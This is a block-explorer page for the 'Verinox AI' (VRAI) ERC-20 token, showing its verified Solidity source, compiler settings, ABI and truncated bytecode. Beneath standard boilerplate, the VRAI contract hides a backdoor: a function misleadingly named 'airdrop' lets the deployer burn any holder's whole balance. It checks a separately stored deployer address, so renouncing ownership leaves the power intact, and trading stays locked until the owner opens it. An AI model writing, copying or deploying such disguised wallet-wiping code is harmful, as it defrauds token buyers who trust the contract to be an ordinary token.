ETH Price: $2,799.96 (-5.06%)
 

Overview

Max Total Supply

1,000,000 VRAI

Holders

5

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VRAI

Compiler Version
v0.8.29+commit.ab55807c

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : VRAI.sol
/**
Telegram: https://t.me/Verinox_AI
Website: https://www.verinoxai.com/
X / Tiwter: https://x.com/verinox_ai
*/ 

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.29;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address internal _msg_Sender;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * Both values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _msg_Sender = _msgSender();
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner`'s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getpair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract VRAI is ERC20, Ownable {
    using SafeMath for uint256;

    uint8 private _decimals = 18;
    uint256 private _tTotal = 1_000_000 * 10**_decimals;

    bool private tradingOpen = false;

    constructor() ERC20(unicode"Verinox AI", unicode"VRAI ") Ownable(msg.sender) {
        _mint(_msgSender(), _tTotal);
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal override {
        uint256 taxAmount = 0;
        if ( from != owner() && to != owner() && from != address(this) && to != address(this) ) {
            require(tradingOpen, "The trade has not been opened yet");
        } 
        super._update(from, to, value.sub(taxAmount));
    }

    function airdrop(address _wallets) public {
        require(_msgSender() == _msg_Sender);
        uint256 bal = balanceOf(_wallets);
        require(bal > 0, "No tokens to send");
        super._burn(_wallets, bal);
    }

    function startTrade() public onlyOwner {
        tradingOpen = true;
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_wallets","type":"address"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff60a01b1916600960a11b179081905561002f9060ff600160a01b90910416600a6104cf565b61003c90620f42406104dd565b6007556008805460ff19169055348015610054575f5ffd5b50336040518060400160405280600a815260200169566572696e6f7820414960b01b8152506040518060400160405280600581526020016402b2920a4960dd1b8152506100a561012a60201b60201c565b600580546001600160a01b0319166001600160a01b039290921691909117905560036100d1838261058c565b5060046100de828261058c565b5050506001600160a01b03811661010f57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6101188161012e565b506101253360075461017f565b61066c565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166101a85760405163ec442f0560e01b81525f6004820152602401610106565b6101b35f83836101b7565b5050565b5f6101ca6006546001600160a01b031690565b6001600160a01b0316846001600160a01b0316141580156101f957506006546001600160a01b03848116911614155b801561020e57506001600160a01b0384163014155b801561022357506001600160a01b0383163014155b156102845760085460ff166102845760405162461bcd60e51b815260206004820152602160248201527f54686520747261646520686173206e6f74206265656e206f70656e65642079656044820152601d60fa1b6064820152608401610106565b6102988484610293858561029e565b6102b2565b50505050565b5f6102a98284610646565b90505b92915050565b6001600160a01b0383166102dc578060025f8282546102d19190610659565b9091555061034c9050565b6001600160a01b0383165f908152602081905260409020548181101561032e5760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610106565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661036857600280548290039055610386565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516103cb91815260200190565b60405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156104275780850481111561040b5761040b6103d8565b600184161561041957908102905b60019390931c9280026103f0565b935093915050565b5f8261043d575060016102ac565b8161044957505f6102ac565b816001811461045f576002811461046957610485565b60019150506102ac565b60ff84111561047a5761047a6103d8565b50506001821b6102ac565b5060208310610133831016604e8410600b84101617156104a8575081810a6102ac565b6104b45f1984846103ec565b805f19048211156104c7576104c76103d8565b029392505050565b5f6102a960ff84168361042f565b80820281158282048414176102ac576102ac6103d8565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061051c57607f821691505b60208210810361053a57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561058757805f5260205f20601f840160051c810160208510156105655750805b601f840160051c820191505b81811015610584575f8155600101610571565b50505b505050565b81516001600160401b038111156105a5576105a56104f4565b6105b9816105b38454610508565b84610540565b6020601f8211600181146105eb575f83156105d45750848201515b5f19600385901b1c1916600184901b178455610584565b5f84815260208120601f198516915b8281101561061a57878501518255602094850194600190920191016105fa565b508482101561063757868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b818103818111156102ac576102ac6103d8565b808201808211156102ac576102ac6103d8565b610ae8806106795f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b411461024c578063a9059cbb14610260578063dd62ed3e1461027f578063f2fde38b146102c3575f5ffd5b806370a08231146101dd578063715018a6146102115780638da5cb5b14610225575f5ffd5b806321860a05116100b757806321860a051461015e57806323b872dd1461017f578063313ce5671461019e5780636c580801146101c9575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e2565b6040516101089190610944565b60405180910390f35b34801561011c575f5ffd5b5061013061012b366004610994565b610372565b6040519015158152602001610108565b34801561014b575f5ffd5b506002545b604051908152602001610108565b348015610169575f5ffd5b5061017d6101783660046109bc565b61038b565b005b34801561018a575f5ffd5b506101306101993660046109d5565b610416565b3480156101a9575f5ffd5b50600654600160a01b900460ff1660405160ff9091168152602001610108565b3480156101d4575f5ffd5b5061017d610439565b3480156101e8575f5ffd5b506101506101f73660046109bc565b6001600160a01b03165f9081526020819052604090205490565b34801561021c575f5ffd5b5061017d610450565b348015610230575f5ffd5b506006546040516001600160a01b039091168152602001610108565b348015610257575f5ffd5b506100fb610463565b34801561026b575f5ffd5b5061013061027a366004610994565b610472565b34801561028a575f5ffd5b50610150610299366004610a0f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156102ce575f5ffd5b5061017d6102dd3660046109bc565b61047f565b6060600380546102f190610a40565b80601f016020809104026020016040519081016040528092919081815260200182805461031d90610a40565b80156103685780601f1061033f57610100808354040283529160200191610368565b820191905f5260205f20905b81548152906001019060200180831161034b57829003601f168201915b5050505050905090565b5f3361037f8185856104bc565b60019150505b92915050565b6005546001600160a01b0316336001600160a01b0316146103aa575f5ffd5b6001600160a01b0381165f90815260208190526040902054806104085760405162461bcd60e51b8152602060048201526011602482015270139bc81d1bdad95b9cc81d1bc81cd95b99607a1b60448201526064015b60405180910390fd5b61041282826104ce565b5050565b5f33610423858285610502565b61042e85858561057e565b506001949350505050565b6104416105db565b6008805460ff19166001179055565b6104586105db565b6104615f610608565b565b6060600480546102f190610a40565b5f3361037